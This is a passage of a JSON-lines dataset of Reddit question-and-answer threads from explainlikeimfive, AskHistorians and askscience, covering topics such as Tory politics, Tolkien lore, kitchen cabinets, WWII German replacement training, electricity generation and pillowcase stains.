[["https://www.axishistory.com/books/134-campaigns-a-operations/campaigns-a-operations/2085-number-of-german-divisions-by-front-in-world-war-ii"]]}
{"q_id": "3y32p5", "title": "How could Tories be so supportive of the monarchy but also devoted Catholics?", "selftext": "The difference between Tories and Whigs was that the former was more in favour of the monarchy, the later more in favour of parliament.\n\nYet monarchs, at least since, James II, have been the (protestant) head of the Church of England. Why wouldn't Tories thus be big supporters of the Church of England? You instead find the Tories to be loyal Catholics.", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/3y32p5/how_could_tories_be_so_supportive_of_the_monarchy/", "answers": {"a_id": ["cya4lg5", "cya4qit", "cyajk0k"], "score": [9, 52, 2], "text": ["I dont think you can claim the Tories were predominantly catholic throughout most of the Tories existence. Part of the reason Tories supported the glorious revolution was due to James's catholic sympathies and they consistently supported the CoE in parliament. \n\n\nBut when catholics became allowed to practise in public, they were just generally exorted to be loyal to the crown instead of the pope (Gladstone's essays bring the most famous examples) on matters that crossed paths. ", "You have to distinguish between Catholic and *Roman* Catholic. Many Tories were \"high church\" Anglicans or Anglo-Catholics. They still *called* themselves Catholic and celebrated a Catholic-style mass, but most were loyal to the Archbishop of Canterbury. There are still \"Anglo-Catholic\" churches today that are part of the Anglican Communion.\n\nOther Tories were sedevacantists, which means they considered the current Popes to be illegitimate, but they still considered themselves to be within the Catholic church.\n\nThe religious politics of the era you are talking about are extremely complicated.", "What makes you think that the Tories are loyal Catholics?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "2pw0n5", "title": "if gandalf knew bilbo has the ring, why did he let him keep it?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2pw0n5/eli5_if_gandalf_knew_bilbo_has_the_ring_why_did/", "answers": {"a_id": ["cn0hjkl", "cn0hqbv", "cn0i7rs", "cn0ietf", "cn0jnyw", "cn0lpjb", "cn0na9w", "cn0pk6k"], "score": [178, 17, 89, 40, 5, 3, 2, 3], "text": ["He didn't know it was The One Ring - it was thought to be destroyed. In The Hobbit the ring was nothing special (other than the invisibility), and in the Lord of the Rings books it took Gandalf 17 years from Bilbo's farewell party to discover that it was in fact Sauron's ring.", "He suspected it was the Ring, but didn't know for certain.\n\nHowever he also feared its power, and its ability to corrupt.  He didn't want to be in possession of it himself while he confirmed that it was in fact the true Ring.\n\nIt took him 17 years to verify his findings.", "Remember the rhyme that counts the Rings of Power?  Three for elves, seven for dwarves, nine for men.  Those were made by Celebrimbor and the smiths of Eregion (that abandoned city the Fellowship goes through on the way to Mordor) under the tutelage of Annatar (who later turned out to be Sauron in disguise). Why did they make so many? To learn the art and to practice, building skill for the grand project, the Three Rings which would preserve Elven power over the world.  Tolkien suggests that they made lots of other Rings of Not-Very-Much Power as part of that practice.  Bilbo finding one was quite a stroke of luck, but there was no reason for Gandalf to suspect early on that it was the One Ring.\n\nLater on Gandalf notices changes in Bilbo, such as the fact that he's not aging as much as his fellow hobbits.  That got him thinking that there was more to learn, and so he went off researching Sauron's Ring to try to find what might have become of it.  Meanwhile he notes that others have taken interest in Rings of Power again (namely Saruman) and that Sauron's agents are becoming more active in the world.\n\nSo to answer the question at last: Gandalf didn't know, but once he suspected, why let Bilbo keep it?  The best reason is that the One Ring was in one of the safest places it could be.  Bilbo was mostly resistant to its influence. The Shire was essentially the ass-end of nowhere on Sauron's map of the world.  It was inconceivable to Sauron that anyone could know of the Ring's whereabouts and not use its power.  Thus to Sauron the Ring must still be lost.  Leaving it where it was kept Sauron busy while Gandalf worked out what could be done about the situation.\n", "When Bilbo acquires the ring for Gollum he doesn't tell anyone where he got it.  From everyone else's perspective he just always had it.  Because everyone looked down on Hobbits (Except for Gandalf) it was thought that a ring worn by a Hobbit could not be anything special but some sort of Hobbit trick ring.  Everyone knew Hobbits were sneaky so that could just be something from the Hobbits.\n\nWhen you think about it even Gollum wasn't sure where he got it from.  Isilador slices it off of the finger of Sauron, steals it from him and promises to destroy it.  He is destroyed himself, so everyone just presumes that since the ring hasn't emerged for so long it must be gone forever.  Gallum finding it was a coincidence.\n\nBetween The Hobbit and The Lord of the Rings, which is like a century, Gandalf is making periodic visits.  During all of that time Bilbo Baggins has not gotten himself into any trouble or done any adventuring.  If it is the ring of people, it isn't in the hands of anyone powerful and it's power isn't being seen.\n\nIn the past this ring has been used by kings to lead armies and by Sauron to crush man and elf kind.\n\nThere is also the problem of the spell on Gandalf.  There is a haze over Gandalf's head.  Saruman has been trying to cloud the judgment of Gandalf.  Gandalf is even unaware that the forest is being torn down and used to forge an army for Saruman.\n\nWhen you look at a Wizard like [Radagast The Brown](_URL_1_) he has been driven mad by Saruman's spells (his personality is his).  He is unable to see the corruption around him until it has already taken hold and destroyed large chunks of his forest.\n\nThere is an inscription on the outside and inside of the ring, this was hidden from Gandalf by the deception of Sauron.\n\nThe ring hasn't been used that much since The Hobbit and Bilbo has been very good about hiding it from everyone.  No one knows about it in the entire Shire but him.  When he uses it in the Shire everyone thinks he just vanished forever, in reality he's wearing the ring in order to make an escape to live with the Elves.\n\nWhen he gives it to Frodo, Gandalf witnesses the addiction that Bilbo has to the ring.  Bilbo at this point is even willing to deceive Gandalf to try and hold on to it.  Gandalf leaves the ring with Frodo because it's a trusted source.  If it's anything this ring has been hidden in the Shire for a century, so obviously nothing is about to go and happen to it.  If Gandalf was to take a ring as powerful as that out of the Hobbit whatever forces that are plotting could just take it from him.\n\nSo when Gandalf goes into his study and does research he finds that there is no record of the ring being destroyed.  When he returns [he lights the ring on fire](_URL_0_) so that the inscription that was hidden could be found.  He doesn't want to even touch it fearing it's tainting force.  He hands it to Frodo to read and Frodo finds nothing initially, which is a relief to the wizard.  But once Frodo tells him that there's an inscription on it, it confirms what Gandalf knew all along.\n\nNow when Gandalf \"dies\" and is reborn as Gandalf the White he takes over the role as the supreme wizard of the land.  Saruman's spells have no effect on him anymore and he's now able to clear up a lot of the fuzziness that Saruman has been creating.  As the White he is able to restore the King of Rohan from the corruption of Saruman.\n\nHad Gandalf been the White all along, he would have immediately been able to see the ring's power and immediately act upon it.  But Sauron was plotting with Saruman the White (a superior wizard) which gave him an edge on keeping the whole invasion a last minute secret.", "Gandalf suspected it was a ring of power, but did not confirm it until Frodo had it.  \nEven then, Gandalf held one of the Three Rings of the elves (Elrond and Galadriel held the other two), and whoever had the One Ring was likely to be influenced by it.  \nSo, had Gandalf had the One Ring, Sauron would have exerted some influence over Gandalf, and would likely have been able to discover some of (if not ALL) of Gandalf's plans.  \nFrodo offered both Gandalf and Galadriel the One Ring, and they both struggled with rejecting it.  Galadriel stated, point blank, that if SHE had the One Ring, it would corrupt her and she would use it to install herself as a great and terrible Queen that would terrorize all.  \nThe One Ring was too corrupting for Gandalf and Galadriel (and Elrond, too) for them to handle it.  ", "Gandalf himself cannot carry the ring - he's too powerful, too dangerous if corrupted. The purest-of-heart creatures in the Middle Earth were hobbits (even moreso than elves), and since Bilbo happens to be a hobbit, he just let it be.", "Smeagol was a hobbit though wasn't he? And he was corrupted by the ring big time as soon as he laid eyes on it", "As mentioned before, he did not know it was the One Ring. There were very few people who even knew what the One Ring looked like, Saruman being one of them. \n\nBecause it was a simple looking ring, and unadorned, (until put to the fire) Gandalf assumed it was one of the lesser rings, and not great consequence. \n\nOver time he began to suspect, as Bilbo did not appear to age over many decades. Gandalf then sought help from the libraries at Minas Tirith, in Gondor. There Lord Denethor scoffed at him, telling him he knew all the information he needed, but let him peruse the dusty scrolls anyway. \n\nIt was there that Gandalf found an account of Isildur, who described the One Ring, and the fire runes. After popping it into the fire, Gandalf knew. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], ["https://www.youtube.com/watch?v=-UsrkoweVa4", "https://www.youtube.com/watch?v=S4JCgA7jsLU"], [], [], [], []]}
{"q_id": "1mflla", "title": "why do people care so much about kitchen cabinets, why do they cost so much, and what makes them out of date?", "selftext": "I watch a lot of home and garden tv shows, and kitchen cabinets are usually a big deal when it comes to renovation or house hunting. Cabinets that look fine to me are called out of date, and it can be enough to stop someone from buying a particular house. If someone wants to replace their cabinets, it costs like $20,000+ - they're just wood!\n\nI really don't understand this - why don't people just replace the handles and resurface/paint their cabinets if they don't like the color? It just seems like an absurd amount of money for what you get.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1mflla/eli5_why_do_people_care_so_much_about_kitchen/", "answers": {"a_id": ["cc8qo8h", "cc8r970", "cc8ryid", "cc8sj76", "cc8tv6b", "cc8v128", "cc8x5me"], "score": [5, 10, 2, 6, 4, 3, 3], "text": ["Well, I'm not an expert on home renovations, but I've got kitchen cabinets (my house is 103 years old) that I consider \"out of date\".\n\nThe shelves in the upper ones are shallower, so they don't hold as much. They're closer together, and the height isn't adjustable, so taller things can't fit either. The doors hang crooked, so some of them don't really close all the way, or have to be forced against the opposing door to close. The catches that hold the doors closed don't work any more, so some of the doors swing open. The shelves have been repainted several times, and have had several coats of contact paper installed on them, so they don't have a nice smooth finish. None of the knobs really match, because they were replaced at different times. The paint chips on the corners of the doors where they rub with each other. The drawers are not on modern roller tracks, they're just wood on wood, so they are rough moving and difficult to open and close, as well as being too shallow (I need to put my utensils perpendicular to the way most people have them, they don't fit otherwise). And, of course, if you pull a drawer too far, nothing is there to prevent it from falling out.\n\nI spent a couple days putting new contact paper on them and installing magnetic catches to keep them close, but there would be a ton of work in getting everything aligned and in fully stripping a hundred years of lead paint to refinish them.", "Cabinet styles go out of date just like anything else in a house such as an old brown shag carpet. Also any proper wooden furniture is more expensive. Take a look around your house, and notice how much \"wood\" isn't wood, but particle board with a veneer. On top of that cabinets have a lot of moving parts, and nicer ones will line up correctly, and not have gaps between doors. The hardware can be expensive too, like ones with mechanisms that prevent them from slamming.", "When you buy a new house, you want the parts inside to be good condition. Its not required or anything, but if you put $10k into your house before selling it, it can bring $20k more into the sales price (I'm just making up numbers here). \n", "High quality wood that you see in nice kitchens is actually quite expensive.  Oak, cherry, Alder, and walnut wood can be pricy.  Compare this to cheaper materials found more normal kitchens such as particle wood or pine.  Further, it's not just the materials cost.  Most of those kitchens are custom made by carpenters.  The design, building, and finishing are all completed to the customers specifications by skilled individuals putting in a significant amount of time on one project.  ", "Cabinets and counters visually dominate the kitchen. In the US patterns of household room use have changed dramatically over the last 30 years; kitchens have become for many the center of domestic life (whereas if you look at, say, a 1920s home they often have \"galley\" kitchens meant only for cooking and have no eating space, much less social space). So in a nutshell keeping those old cabinets would be like keeping 1970s couches in the livingroom or a 1960s bedroom set in the master bedroom. They are still functional, but they do look badly outdated...if it's a room you use every day and entertain company in the odds are good you'd want it to look good (and for many, 'good' means 'contemporary').\n\nThat said, there's no reason to pay $20K for kitchen cabinets. My last house was built in 1957...I replaced the counter tops, replaced the sink, refaced the cabinets (refinished the doors, updated all the hardware), and updated all the drawers to modern slides for about $1,500 total.  A big part of the cost is simply people unable/unwilling to do the work themselves, which puts them at the mercy of commercial remodelers.", "Other things that quickly go out of fashion:\n\n\nWomen's haircuts\n\nWomen's clothes\n\nWomen's shoes\n\n\nOther things that cost much more than they should:\n\n\nWomen's haircuts\n\nWomen's clothes\n\nWomen's shoes\n\n\n\nJust sayin'\n", " > they're just wood!\n\nGood quality hardwood and cabinet grade plywood and cabinet grade veneer is expensive.  There may be a few thousand dollars just in the wood alone in a large kitchen with solid hardwood cabinets.  And the labor and skill required to build good cabinets adds up fast, especially since you are probably talking about custom cabinets that are made to measure for your kitchen. And then on top of that add the cost of installing them which can take some time and skill itself."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], []]}
{"q_id": "18o7xm", "title": "What happens to the sulfur compounds in cabbage during the natural fermentation process of sauerkraut production? ", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/18o7xm/what_happens_to_the_sulfur_compounds_in_cabbage/", "answers": {"a_id": ["c8gngkk"], "score": [2], "text": ["do you mean a specific compound? for the general case of glucosinolates:\n\nthey get degraded. if you want to read more, [this paper](_URL_0_) should contain all the information"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.sciencedirect.com/science/article/pii/0308814683900742"]]}
{"q_id": "b46vr2", "title": "how can the original doom run on almost everything, from calculators to printers?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/b46vr2/eli5_how_can_the_original_doom_run_on_almost/", "answers": {"a_id": ["ej4lr24", "ej4lzol", "ej59qxr"], "score": [10, 3, 3], "text": ["Doom was - and is - an exceptionally small game.  The install file, containing the entire game and game engine, was only ~2.4MB - that is smaller than your average webpage.\n\nCalculators, printers, etc. are all much more sophisticated than you realize.  They have internal processors and RAM to allow them to run their functions, and these specs are often more than enough to run Doom.  So, all you have to do is put  a simple OS layer in place to handle the engine and I/O, then tweek the game engine to run on that simple OS.", "Because the program has such a comparatively small footprint in a world whose contemporary devices pack way more power than the original computers required to run it possessed. You could do the same feat with a lot of obsolete software, but Doom has filled a niche slot in nostalgia value.", "While others have already mentioned the small size(and low hardware requirements in general) there is something important missing: the Doom code was released as open source. Anyone can take the Doom code and modify it and thus make the changes required to allow it to run on the hardware they desire. Without access to the code this wouldn't be possible. The code being available makes Doom a popular target for such porting efforts."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "8vkr78", "title": "what is the difference between an hmo and an hra healthcare plan?", "selftext": "I.e. Blue Cross Blue Shield- Gold vs. BCBS HMO", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/8vkr78/eli5_what_is_the_difference_between_an_hmo_and_an/", "answers": {"a_id": ["e1o3v65"], "score": [2], "text": ["These two options are not really in the same category. HMO is the 'network style' (for lack of a better term) of the plan. HMO is a health maintenance organization plan that will only allow you to use the doctors contracted with BlueCross (local if it is not an advantage plan), and will not give you any benefits for going out of network. On the other end of the spectrum is  a PPO, this will give you better benefits for in network, but still give you some kind of benefit for out of network, just not as much. There are other network styles, however those are the two majors.\n\nHRA stands for health reimbursement arrangement, in which your employer promises you a reimbursement for a certain amount of your out of pocket expenses. This can be concurrent with either an HMO or PPO, with in certain restrictions by law.\n\nHope this helps."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "2lfsu7", "title": "In the late 19th century, did the British Empire ever consider annexing parts of continental Europe?", "selftext": "Excluding Gibraltar.", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2lfsu7/in_the_late_19th_century_did_the_british_empire/", "answers": {"a_id": ["clujd0i"], "score": [8], "text": ["I have never heard of any such ideas. The British standard policy regarding Europe in the 18th and 19th century was the prop up anyone fighting a possible hegemon, to make sure there were no challengers to their naval supremacy.\n\nThe British monarch was the reigning monarch of Hannover (initially Brunswick-L\u00fcneburg) from 1714 with George I and thus had a convenient excuse to intervene in any conflicts in the Holy Roman Empire (or related to it) should they need to.\n\nNations during this era attempted to annex land if it was to the benefit of those who ruled - in Britain the elite was a combination of landed aristocracy and merchants (during the era many of the latters were owners of sugar estates in the Caribbean or parts of the East India Company). \n\nHannover did not provide any funds for the British treasury (the monarchs had promised that any revenue raised in Jannover would stay in Hannover) nor any armed forces (the local forces were only to be used for local defence), but did provide access to the mercenary market in Germany, which allowed the British to raise the Hessians and the King's German Legion, both of which were used in the American Revolution.\n\nDuring the Belgian crisis in 1830, when Belgium revolted to free itself from the Netherlands (to which it had been merged in 1815), the French ambassador to Britain (and later foreign minister of France), Talleyrand suggested a partition plan to resolve the crisis by partitioning Belgium. \n\n[The Talleyrand plan](_URL_0_).\n\nThe plan failed since no powers wished to see the French gain territory so soon after the Napoleonic war, and because Britain was completely uninterested in assuming responsibility for the defence of the Free State of Antwerp.\n\nBottom line - no, the British never had any interest in annexing parts of continental Europe. Their interest in expansion during the era laid in India foremost, as they coudl extract massive revenue there. Annexint territory in Europe would have meant requirements in defence, fortification consctruction and handling problems, nationalist sentiments and perhaps even revolts in non-English speaking parts of Europe, while setting Britain up to be dragged into wars over that territory - wars she had no real interests in fighting."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Talleyrand_partition_plan_for_Belgium"]]}
{"q_id": "1jalg6", "title": "where do the electrons come from that are created in a dam or wind turbine?", "selftext": "So a generator creates electricity when a magnet is moved around some wires.  Where do all of these electrons ultimately come from?  \n\nConsider a massive turbine at a very large dam.  That turbine puts out a whole lot of electrons.  Where do they come from?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1jalg6/eli5_where_do_the_electrons_come_from_that_are/", "answers": {"a_id": ["cbcqo5j", "cbcr830", "cbcs3kp", "cbcsbnb"], "score": [5, 3, 2, 2], "text": [" > Where do the electrons come from that are created in a dam or wind turbine?\n\nThey don't create electrons.  They just push around existing electrons.\n\nElectric circuits operate in a loop.  For every electron that leaves, another enters from the other side.  Although, most electrical systems operate on AC (alternating current), in which case the electrons don't even move very far.  They just jiggle back and forth in place.", "Imagine a circular tube filled with marbles. You can push the marbles around so they keep going in a circle.\n\nThat's basically what a generator does - it pushes electrons around. This is also the reason a circuit needs to be \"closed\" before it can work - you can't harness the energy without completing the circuit and allowing a path for electrons to return to the generator.", "This is really tough to explain start-to-finish, but I will try.\n\nElectrons are always present in the metal of the wire (copper, for instance). What makes a metal a \"conductor\" is actually the fact that it has fewer electrons in its outer (valence) shell, causing the electrons to be stripped and/or added more fluidly, causing less resistance to current flow. So that is where the electrons come from.\n\nElectrons are pushed by magnetic fields. You can make a simple AC generator by rotating a bar magnet in between a couple of coils of wire, basically. The generators you're talking about are much larger, but really not *that* much more complex, except that they use more advanced methods to create the rotating magnetic field.\n\nIn a DC circuit powered by a DC generator, the electricity flows from the starting point at one phase of the generator, to the load (light bulb), all the way back to the opposite phase of the generator, all in a closed loop. Electrons move at nearly the speed of light, but it's basically just a constant flow in a circle.\n\nIn an AC circuit, electrons are constantly getting jerked back and forth. I'm sure you've heard of \"frequency\", and in an electrical circuit the \"frequency\" is the number of times per second that the electrons reverse directions and flow the other way. Here in the US, we use 60Hz... the electrons change directions 60 times per second.\n\nAC or DC though, the answer is the same: the electrons were all ready there, and all the generator does is apply a magnetic force in order to cause them to move.\n\nThe load (light bulb) does not \"use up\" any electrons. The electrons pass through the resistance of the filament (the part that lights up) and cause heat while passing through that resistance. The heat causes the filament to glow, which is what produces light and why that type of bulb is called \"incandescent\".\n\nI've been running power plants for about 11 years now, including hydro generators (not that they are much different). Let me know if there's anything else I can explain more thoroughly!", "You seem to have the wrong mental model for electricity. Electricity is the movement of electrons, not the creation of electrons. A device that consumes electrical power doesn't \"burn\" electrons like an engine burning gas, instead it allows the electrons to transfer some of their energy into something else (motion, light, heat, etc.). When electrons transfer their energy they don't disappear, they just drop down into a lower energy state. Dropping into a lower energy state means that the electron will come to rest in orbit of an atomic nucleus, rather than flowing in a current of electricity. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "49dux2", "title": "I just joined the Wehrmacht during WW2, where am I sent for basic training?", "selftext": "How long will I be in basic? ", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/49dux2/i_just_joined_the_wehrmacht_during_ww2_where_am_i/", "answers": {"a_id": ["d0r6cco"], "score": [9], "text": ["The region you were drafted into the *Wehrmacht* from or signed up, as well as the date, determined where you were sent for basic training, and with a degree of relative certainty, what unit you would most likely serve with. \n\nDuring WWII, Germany was divided into *wehrkreise* (military districts) Each division that was raised was associated with one or multiple *wehrkreise*, and hence a specific area of Germany. They also drew their replacements from there. In a sense, Wehrmacht units were sort of like the US National Guard divisions at the beginning of WWII. \n\n[A map of the *wehrkreise* in 1943-1944](_URL_1_)\n\nIn the US Army, soldiers generally came from all over the country. The National Guard divisions originally came from areas of several states (as few as two, as many as five or six) but transfers and replacements reduced the number of local men very sharply through training and combat. The territories of US National Guard divisions are comparable to the German *wehrkreise*, although geographic size is far different; the whole of Germany is slightly smaller than Montana! For example, the US 41st Infantry Division drew its original troops from Idaho, Montana, Oregon, Washington, and Wyoming!\n\nMen were frequently transferred to other units, or stripped away in training and sent unassigned to the ETO as replacements. If an American soldier was wounded and recovered, he was for the most part (the rules changed later in the war) not sent back to his old unit. Instead, he was sent to a replacement depot, where he was assigned to a unit that needed him the most. Once US Army divisions reached the front, their strength was continuously ground down, but reinforced by replacements. The US's replacement issue often created a situation of a core of hardened veterans mixed with anonymous replacements, permeated with an air of \"I don't know him and don't want to know him; he's just going to get killed anyway.\" Infantry replacements often quickly became casualties.\n\nIn comparison to the United States, the German replacement system was different. Each *wehrkreis*\nmaintained numbered replacement and training divisions for their field divisions at their home station in Germany. Conscripts or enlistees were first received at this unit. They completed their training at the training units, typically 16 weeks, but sometimes 12-14 and even as few as eight; in contrast, US training varied from 13-17 weeks. Armored troops trained for 21 weeks. Earlier in the war, each division had numbered organic *Infanterie Ersatz Battailonen* assigned to it back in Germany, with a *stammkompanie* (reception unit) and several *ausbildungskompanien* (training units) After training, recruits were sent to their new division. Each division had in its table of organization a replacement battalion. The new recruits arriving from the reception and training units in Germany went here next, before entering combat. \n\nSince German units mostly trained In this way, men knew what divisions they were joining essentially as soon as they signed up, and trained together from enlistment to their first combat with men from their geographic area. In contrast to the US system, if a German soldier was wounded, he always returned to his unit through the replacement and training division. and the divisional replacement battalion.\n\nLater in the war, this system became jumbled; reserve divisions assigned in the *wehrkreise* were also used to train recruits for nearby units, and sometimes the replacement units and training units were split up. At the same station, troops were often trained for delivery to multiple units. German divisions, unlike US ones, were often rotated completely out of the front lines, back to quieter areas where they could rest. \"Rest\" for a US division often just meant a transfer to a quieter area of the front.\n\nMy last link below gives an excellent account of the training of two ordinary Germans who served in the *Wehrmacht* during WWII, in 1940 and 1943.\n\nGerman infantry divisions were mobilized in \"waves\" from 1934 to 1945, each \"wave\" of divisions having a specific purpose, and hence organization. \n\nWave|Date|Number of Divisions|Series|Composition/purpose\n:--|:--|:--|:--|:--\nI|1934-1938|39|1-46|Peacetime army units\nII|August 1939|15|52-87|Reservists\nIII|September 1939|20|206-246|Formed from *Landwehr*, former soldiers between 35-45 years old who were still liable for service\nIV|August 1939|14|251-269|Mobilized from reservists\nV|September 1939|5|93-98|Reservists\nVI|November 1939|4|81-88|Disbanded in 1940\n--|November 1939|5|--|Frontier Guard Units\nVII|January 1940|14|161-199|Mobilized from reserve units\nVIII|February 1940|10|290-299|Occupation units for Western Front\n*Oberrhein*|February 1940|4|554-557|Disbanded in 1940\nIX|March 1940|10|351-399|Draftees\nX|June 1940|9|270-280|Formed from replacement units\n--|June 1940|9|351-395|Formed after the French Campaign from older personnel\nXI|October 1940|10|121-137|For use on the Eastern Front\nXII|October 1940|10|97-113|For use on the Eastern Front\nXIII|November 1940|9|302-327|Occupation units for Western Front\nXIV|November 1940|8|332-342|Occupation units for Western Front\nXV|May 1941|15|702-719|Occupation units for Western Front\nXVI|June 1941|4|201-204|Security divisions\n--|December 1941|1|416|For use in Denmark (older personnel)\nXVII|December 1941|4|328-331|For use on the Eastern Front\nXVIII|January 1942|5|383-389|For use on the Eastern Front\nXIX|April 1942|4|370-377|Occupation units for France\nXX|June 1942|3|38, 39, 65|Occupation units for English Channel coast\n--|September 1942|5|344-348|Occupation units for France\n*Kreimhilde*|November 1942|3|326-328|For use in Germany\n--|November 1942|3|23, 369, 373|Croatian conscripts\n--|February 1943|13|Various|Bore numbers of divisions destroyed at Stalingrad\n*Brunhilde*  &  *Gisela* Divisions|May 1943|3|282, 355, 356|Occupation units for France\n--|June 1943|5|Various|Bore numbers of units destroyed in Tunisia\n--|July-September 1943|7|242-266|Occupation units for France\nXXI|Nov-Dec 1943|10|349-367|Type 1944 Divisions\nXXII|December 1943|6|271-278|Formed from disbanded units and used on Western Front\nXXIII|February 1944|--|--|Grenadier regiments used by 25th Wave\nXXIV|April 1944|3|68, 331, 389|Formed from reserve divisions\n\"*Magen*\"|July 1944|1|70|For troops with stomach issues\nXXV|February 1944|6|77-92|For use on Western Front\nXXVI|May 1944|4|Named|Shadow (filler troops used to restore destroyed divisions) divisions absorbed by reformed divisions\nXXVII|June 1944|5|59-237|Formed from shadow divisions\n*Krim*|May 1944|3|50, 73, 98|Bore numbers of units destroyed in the Crimea\nXXVIII|July 1944|4|Various|Formed from shadow divisions\nXXIX|July 1944|13|541-562|Volksgrenadier divisions\nXXX|August 1944|6|12-563|Volksgrenadier divisions\nXXXI|1944|12|560-572|Absorbed by 32nd wave\nXXXII|Sepember 1944|--|Divisions of previous waves reformed as Volksgrenadier divisions\n--|October 1944|9|148-462|Reserve and security divisions reformed as infantry divisions\nXXXIII|January 1945|10|85-716|Worn out divisions reformed as Type 1945 divisions\n--|January 1945|10|--|Reserve, training, and replacement divisions converted to infantry divisions\nXXXIV|February 1945|4|Named|For use in northern Germany\nXXXV|March 1945|8|Four Reich Labor Service and four infantry divisions\n--|April 1945|3|Varied|Rhine sector\n\nSources:\n\n[The German Replacement Army 1939-1945](_URL_2_)\n\n*German Order of Battle: 1st-290th Infantry Divisions in World War II*, by Samuel W. Mitcham\n\n[Army Infantry Replacement System](_URL_0_)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.dererstezug.com/ReplacementSystem.htm", "http://imgur.com/Fbs82xK", "http://www.axishistory.com/axis-nations/145-germany-heer/heer-unsorted/4338-the-german-replacement-army-1939-to-1945"]]}
{"q_id": "19l4mm", "title": "what the solution to this iq-esque puzzle is", "selftext": "[Link.](_URL_0_)\n\nThe puzzle is to the left, and the possible answers are to the right. The idea is to find the missing element of the sequence (marked with a \"?\"). \n\nIt just kind of boggles me...", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/19l4mm/eli5_what_the_solution_to_this_iqesque_puzzle_is/", "answers": {"a_id": ["c8p2q18", "c8p3mac", "c8p5k8t", "c8p98zs", "c8p9jz7"], "score": [3, 6, 3, 2, 2], "text": ["Where did you find this puzzle?\n\nEDIT: I give up. I just spent way too much time on this. I really hope you aren't trolling and that there actually is an answer.", "Okay, so this is a stretch, but this is the best I could do. Say each right-side up match is 1 and each upside-down match is .5. Then the matrix on the left is:\n\n    2.5   2   5\n\n    1.5   2   .5\n\n    3   2.5   ?\n\nInterchange the middle column and left column so that:\n\n    2   2.5   5\n\n    2   1.5   .5\n\n    2.5   3   ?\n\nUse multiplication on the top (2*2.5=5), subtraction in the middle (2-1.5=.5), and addition on the bottom (2.5+3=5.5). Therefore, the answer is 5.5, which is 5 upright matchsticks and one down, and that is a choice.\n\nI realize it's a *huge* stretch, but fuck it, I needed to find some sort of answer, and that's the best I could do.\n", "I think it's a counting puzzle, from left column to right column. If you only count the upwards facing match sticks, it's 5, then 6, and you have an option to make the last row 7 by choosing the upper leftmost answer. It's pretty speculative though, and I wouldn't be surprised to be wrong.", "I don't have any idea why the right matrix is there, but I have a very plausible explanation for the left one:\n\nWhen you push the first and second column together, 1) differing matches that touch each other (from each set) are removed, and 2) if a match is surrounded on both sides by different matches, it is changed instead of removed.\n\n**'i' is a right-side-up match. ! is an upside-down match**\n\nii!  ii --- >  ii!ii -- >  iiii\n\n!!!  ii --- >  !\n\nii111i  1i1ii1 --- >  ii111ii\n\ntherefore, iii   ii1 --- >  iiiii1\n\nNote: if the right matrix has any bearing on the outcome, then this fails. \n\n**Edit: Saw a flaw. Corrected my text to show that a match is changed ONLY when sandwiched between two opposite matches, otherwise it is removed**\n", "I'd say the answer is 6 matches (i.e. iiiii!) as the simplest answer.  No need to over-complicate or think this.\n\nLooking horizontally, the larger number of matches is equal to the lesser:\n\n3+2 = 5\n\n3 = 2+1\n\n3+3 = 6.\n\nThe upside down matches don't mean anything. "]}, "title_urls": [], "selftext_urls": ["http://puu.sh/2buo2"], "answers_urls": [[], [], [], [], []]}
{"q_id": "38magr", "title": "why does it look like my head's been leaking battery acid whenever i change my pillowcase?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/38magr/eli5_why_does_it_look_like_my_heads_been_leaking/", "answers": {"a_id": ["crw33k7", "crw4i38", "crw4t3g", "crw5002", "crw7gjp", "crw8bjc", "crw8gm8", "crw8mxm", "crw979s", "crw9gp2", "crw9kg5", "crwa583", "crwad3t", "crwahio", "crwaozf", "crwbiv7", "crwcfzt", "crwcu0x", "crwdjsz"], "score": [1117, 278, 92, 42, 76, 33, 76, 23, 2, 2, 15, 3, 4, 2, 2, 2, 6, 2, 2], "text": ["I'm a little concerned by your description, but...\n\nIt's likely whatever you are seeing is a mixture of sweat, saliva, dead skin, and body oil. Anything your body sheds while you sleep goes right in your bed.", "Your saliva is causing the dirt on your pillow to bleed out and form a yellow-brown ring. When you do this over and over it makes a strange pattern.", "Can you be a bit more specific? Like, what color is your pillow case? Does it look like the stuff is dried or wet? Do you use any products before laying down? Do you have any known ear/sinus issues? Or acne/other skin issues? Does it show up immediately after washing/changing your pillow case, or does it build up over time?", "I started noticing stains on my towels and was very confused, until i realized that my husbands acne shower face wash was causing the stains. No more face wash, no more stains. Perhaps its a product you are using?", "I worked in a sulfuric acid plant for eight years, it was always completely clear and easily destroyed non-synthetic fabrics. Are you saying there's a big ragged acrid-smelling hole in your pillow/mattress/floor? That might be pretty lucrative for you somehow.", "If you use any kind of skincare product with benzoyl peroxide, a very common ingredient, that is the cause. ", "How often do you change your pillowcase?", "It's a mixture of sweat, skin oil, dead skin and possibly even a little bit of bacterial growth. Basically, synthetic pillows don't last very long, they'll lose their puffiness within a few months by which time they're quite grotty if you sweat a lot. You can wash them but it just ruins all their structure and makes them rubbish for sleeping 